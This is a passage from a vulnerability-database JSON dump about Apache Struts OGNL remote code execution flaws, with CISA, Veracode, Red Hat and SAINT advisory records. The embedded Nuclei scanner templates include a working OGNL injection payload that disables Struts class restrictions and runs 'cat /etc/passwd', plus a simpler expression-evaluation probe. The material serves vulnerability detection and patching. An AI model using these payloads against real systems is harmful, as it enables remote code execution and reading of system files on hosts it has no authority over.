"CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33766", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-35247", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36934", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37415", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40438", "CVE-2021-40444", "CVE-2021-40449", "CVE-2021-40539", "CVE-2021-4102", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42292", "CVE-2021-42321", "CVE-2021-43890", "CVE-2021-44077", "CVE-2021-44228", "CVE-2021-44515", "CVE-2022-0609", "CVE-2022-21882", "CVE-2022-24086"], "modified": "2022-02-23T05:39:00", "id": "QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "href": "https://blog.qualys.com/category/product-tech", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cisa_kev": [{"lastseen": "2023-12-06T16:20:37", "description": "Forced Object-Graph Navigation Language (OGNL) evaluation in Apache Struts, when evaluated on raw user input in tag attributes, can lead to remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Apache Struts Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2020-17530", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "nuclei": [{"lastseen": "2023-12-06T22:19:41", "description": "Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-01-27T00:00:00", "type": "nuclei", "title": "Apache Struts 2.0.0-2.5.25 - Remote Code Execution", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2023-12-05T00:00:00", "id": "NUCLEI:CVE-2020-17530", "href": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2020/CVE-2020-17530.yaml", "sourceData": "id: CVE-2020-17530\n\ninfo:\n name: Apache Struts 2.0.0-2.5.25 - Remote Code Execution\n author: pikpikcu\n severity: critical\n description: Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.\n remediation: |\n Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts.\n reference:\n - http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html\n - http://jvn.jp/en/jp/JVN43969166/index.html\n - https://cwiki.apache.org/confluence/display/WW/S2-061\n - https://security.netapp.com/advisory/ntap-20210115-0005/\n - https://nvd.nist.gov/vuln/detail/CVE-2020-17530\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2020-17530\n cwe-id: CWE-917\n epss-score: 0.97004\n epss-percentile: 0.99682\n cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*\n metadata:\n max-request: 1\n vendor: apache\n product: struts\n tags: cve,cve2020,apache,rce,struts,kev,packetstorm\n\nhttp:\n - method: GET\n path:\n - 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"2021-03-18T00:00:00", "type": "nuclei", "title": "Apache Struts <=2.5.20 - Remote Code Execution", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230"], "modified": "2023-12-05T00:00:00", "id": "NUCLEI:CVE-2019-0230", "href": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2019/CVE-2019-0230.yaml", "sourceData": "id: CVE-2019-0230\n\ninfo:\n name: Apache Struts <=2.5.20 - Remote Code Execution\n author: geeknik\n severity: critical\n description: Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.\n remediation: |\n Upgrade Apache Struts to a version higher than 2.5.20 or apply the necessary patches provided by the vendor.\n reference:\n - https://nvd.nist.gov/vuln/detail/CVE-2019-0230\n - https://cwiki.apache.org/confluence/display/WW/S2-059\n - https://www.tenable.com/blog/cve-2019-0230-apache-struts-potential-remote-code-execution-vulnerability\n - http://packetstormsecurity.com/files/160108/Apache-Struts-2.5.20-Double-OGNL-Evaluation.html\n - https://cwiki.apache.org/confluence/display/ww/s2-059\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2019-0230\n cwe-id: CWE-1321\n epss-score: 0.94961\n epss-percentile: 0.99093\n cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*\n metadata:\n max-request: 1\n vendor: apache\n product: struts\n tags: tenable,packetstorm,struts,rce,cve,cve2019,apache\nvariables:\n str: \"{{rand_base(6)}}\"\n\nhttp:\n - method: GET\n path:\n - \"{{BaseURL}}/?id={{str}}%25{128*128}\"\n\n matchers:\n - type: word\n part: body\n words:\n - \"{{str}}16384\"\n\n# digest: 4a0a00473045022100de5fce847d55e9c5483bb908c8735c4b00fdd920f31640dac9072fbcb9643c34022042a10eb84c0d784e19674a06c0ce8de28a6fd50f3dbd6b008e30819e1fe05a39:922c64590222798bb761d5b6d8e72950", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T22:29:22", "description": "Apache Struts2 S2-062 is vulnerable to remote code execution. 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The fix issued for CVE-2020-17530 (S2-061) was incomplete, meaning some of the tag's attributes could still perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax.\n remediation: Avoid using forced OGNL evaluation on untrusted user input, and/or upgrade to Struts 2.5.30 or greater which checks if expression evaluation won't lead to the double evaluation.\n reference:\n - https://cwiki.apache.org/confluence/display/WW/S2-062\n - https://github.com/Axx8/Struts2_S2-062_CVE-2021-31805\n - https://nvd.nist.gov/vuln/detail/CVE-2021-31805\n - http://www.openwall.com/lists/oss-security/2022/04/12/6\n - https://security.netapp.com/advisory/ntap-20220420-0001/\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2021-31805\n cwe-id: CWE-917\n epss-score: 0.06791\n epss-percentile: 0.93149\n cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*\n metadata:\n max-request: 1\n vendor: apache\n product: struts\n tags: cve,cve2021,apache,rce,struts,struts2,intrusive\n\nhttp:\n - raw:\n - |\n POST / HTTP/1.1\n Host: {{Hostname}}\n Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF\n Content-Length: 1095\n\n ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\n Content-Disposition: form-data; name=\"id\"\n\n %{\n (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\n (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\n (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\n (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\n }\n\n ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\u2014\n\n matchers:\n - type: regex\n part: body\n regex:\n - \"root:.*:0:0:\"\n\n# digest: 4a0a0047304502210096b78f88afbd97efae6bf80b46370105d936cf83b10f852670f9301629265b6d02203daf89471c5da7f540634021310e1d43efcbedc48536f60b849faf0a8535de4f:922c64590222798bb761d5b6d8e72950", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "veracode": [{"lastseen": "2023-04-18T06:54:22", "description": "struts2-core is vulnerable to remote code execution. Tag attributes can be used to perform a double evaluation when forced OGNL evaluation is applied, by using the `%{...}` syntax. This can lead to remote code execution when an attacker provides a malicious input to be evaluated.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-12-09T05:42:42", "type": "veracode", "title": "Remote Code Execution", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2022-06-03T18:20:48", "id": "VERACODE:28516", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-28516/summary", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-04-18T11:29:42", "description": "struts2-core is vulnerable to remote code execution (RCE). The vulnerability exists through the possibility of a forced double OGNL expression through the `${itemValue}` expression in `simple/radiomap.ftl`.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-08-14T01:35:22", "type": "veracode", "title": "Remote Code Execution (RCE)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230"], "modified": "2022-12-02T21:18:00", "id": "VERACODE:26331", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-26331/summary", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-04-18T05:55:55", "description": "Apache Struts is vulnerable to remote code execution. The vulnerability exists due to an incomplete fix of CVE-2020-17530 which is double evaluation if OGNL is used, allowing an attacker to inject maliciously crafted script via the %{...} syntax within the Struts tag.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-13T04:46:59", "type": "veracode", "title": "Remote Code Execution (RCE)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530", "CVE-2021-31805"], "modified": "2022-07-25T21:02:41", "id": "VERACODE:35070", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-35070/summary", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "redhatcve": [{"lastseen": "2023-12-06T17:49:18", "description": "A flaw was found in the Apache Struts frameworks. When forced, some of the tag's attributes perform a double evaluation if a developer applies forced OGNL evaluation by using the %{...} syntax. Using a forced OGNL evaluation on untrusted user input allows an attacker to perform remote code execution and security degradation. The highest threat from this vulnerability is to data confidentiality, integrity as well as system availability.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-12-08T19:34:44", "type": "redhatcve", "title": "CVE-2020-17530", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2023-04-06T06:49:16", "id": "RH:CVE-2020-17530", "href": "https://access.redhat.com/security/cve/cve-2020-17530", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-07T23:42:55", "description": "A flaw was found in Apache Struts frameworks. When forced, struts2 performs double evaluation of attributes' values assigned to certain tags attributes such as ID so it is possible to pass a value that will be evaluated again when a tag's attributes will be rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE). The largest threat from this vulnerability is to data confidentiality and integrity as well as system availability.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-08-18T19:29:30", "type": "redhatcve", "title": "CVE-2019-0230", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230"], "modified": "2023-04-06T05:37:27", "id": "RH:CVE-2019-0230", "href": "https://access.redhat.com/security/cve/cve-2019-0230", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T17:41:07", "description": "The fix issued for CVE-2020-17530 was incomplete. So from Apache Struts 2.0.0 to 2.5.29, still some of the tag\u2019s attributes could perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax. Using forced OGNL evaluation on untrusted user input can lead to a Remote Code Execution and security degradation.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-13T06:28:32", "type": "redhatcve", "title": "CVE-2021-31805", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530", "CVE-2021-31805"], "modified": "2023-04-06T09:03:31", "id": "RH:CVE-2021-31805", "href": "https://access.redhat.com/security/cve/cve-2021-31805", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "saint": [{"lastseen": "2023-11-22T16:49:59", "description": "Added: 04/26/2022 \n\n\n### Background\n\nApache Struts is an open-source web application framework for developing Java EE web applications. It uses and extends the Java Servlet API to encourage developers to adopt a model-view-controller (MVC) architecture. \n\nStruts uses Object-Graph Navigation Language (OGNL) to provide extensive expression evaluation capabilities. \n\n### Problem\n\nA vulnerability in Apache Struts could allow remote attackers to execute arbitrary commands if the application uses forced OGNL evaluation on user input. This vulnerability exists due to an incomplete fix for CVE-2020-17530. \n\n### Resolution\n\n[Upgrade](<https://struts.apache.org/download.cgi>) to Apache Struts 2.5.30 or higher. \n\n### References\n\n<https://cwiki.apache.org/confluence/display/WW/S2-062> \n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-26T00:00:00", "type": "saint", "title": "Apache Struts forced OGNL evaluation incomplete fix", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2022-04-26T00:00:00", "id": "SAINT:61E99B83D8C03F67350245D1B8BDC99C", "href": "https://my.saintcorporation.com/cgi-bin/exploit_info/struts_forced_ognl2", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T16:24:09", "description": "Added: 04/26/2022 \n\n\n### Background\n\nApache Struts is an open-source web application framework for developing Java EE web applications. It uses and extends the Java Servlet API to encourage developers to adopt a model-view-controller (MVC) architecture. \n\nStruts uses Object-Graph Navigation Language (OGNL) to provide extensive expression evaluation capabilities. \n\n### Problem\n\nA vulnerability in Apache Struts could allow remote attackers to execute arbitrary commands if the application uses forced OGNL evaluation on user input. This vulnerability exists due to an incomplete fix for CVE-2020-17530. \n\n### Resolution\n\n[Upgrade](<https://struts.apache.org/download.cgi>) to Apache Struts 2.5.30 or higher. \n\n### References\n\n<https://cwiki.apache.org/confluence/display/WW/S2-062> \n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-26T00:00:00", "type": "saint", "title": "Apache Struts forced OGNL evaluation incomplete fix", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2022-04-26T00:00:00", "id": "SAINT:D1B88155F516D415CE4F67A190458DDB", "href": "https://download.saintcorporation.com/cgi-bin/exploit_info/struts_forced_ognl2", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-07-28T14:33:35", "description": "Added: 11/27/2020 \nCVE: [CVE-2019-0230](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-0230>) \n\n\n### Background\n\nApache Struts is an open-source web application framework for developing Java EE web applications. It uses and extends the Java Servlet API to encourage developers to adopt a model-view-controller (MVC) architecture. \n\nStruts uses Object-Graph Navigation Language (OGNL) to provide extensive expression evaluation capabilities. \n\n### Problem\n\nApache Struts can be forced to use double OGNL evaluation, which could allow a remote attacker to execute arbitrary code by sending a specially crafted request. \n\n### Resolution\n\n[Upgrade](<http://struts.apache.org/download.cgi#struts23151>) to Struts 2.5.22 or higher. \n\n### References\n\n<https://cwiki.apache.org/confluence/display/ww/s2-059> \n\n\n### Limitations\n\ncurl must be installed on the target for this exploit to succeed. \n\n### Platforms\n\nLinux \n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-11-27T00:00:00", "type": "saint", "title": "Apache Struts double OGNL evaluation", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230"], "modified": "2020-11-27T00:00:00", "id": "SAINT:AE1DA80E6B0E4C12B5D781794166897B", "href": "http://download.saintcorporation.com/cgi-bin/exploit_info/struts_double_ognl", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T16:52:06", "description": "Added: 11/27/2020 \nCVE: [CVE-2019-0230](<https://vulners.com/cve/CVE-2019-0230>) \n\n\n### Background\n\nApache Struts is an open-source web application framework for developing Java EE web applications. It uses and extends the Java Servlet API to encourage developers to adopt a model-view-controller (MVC) architecture. \n\nStruts uses Object-Graph Navigation Language (OGNL) to provide extensive expression evaluation capabilities. \n\n### Problem\n\nApache Struts can be forced to use double OGNL evaluation, which could allow a remote attacker to execute arbitrary code by sending a specially crafted request. \n\n### Resolution\n\n[Upgrade](<http://struts.apache.org/download.cgi#struts23151>) to Struts 2.5.22 or higher. \n\n### References\n\n<https://cwiki.apache.org/confluence/display/ww/s2-059> \n\n\n### Limitations\n\ncurl must be installed on the target for this exploit to succeed. \n\n### Platforms\n\nLinux \n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-11-27T00:00:00", "type": "saint", "title": "Apache Struts double OGNL evaluation", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": 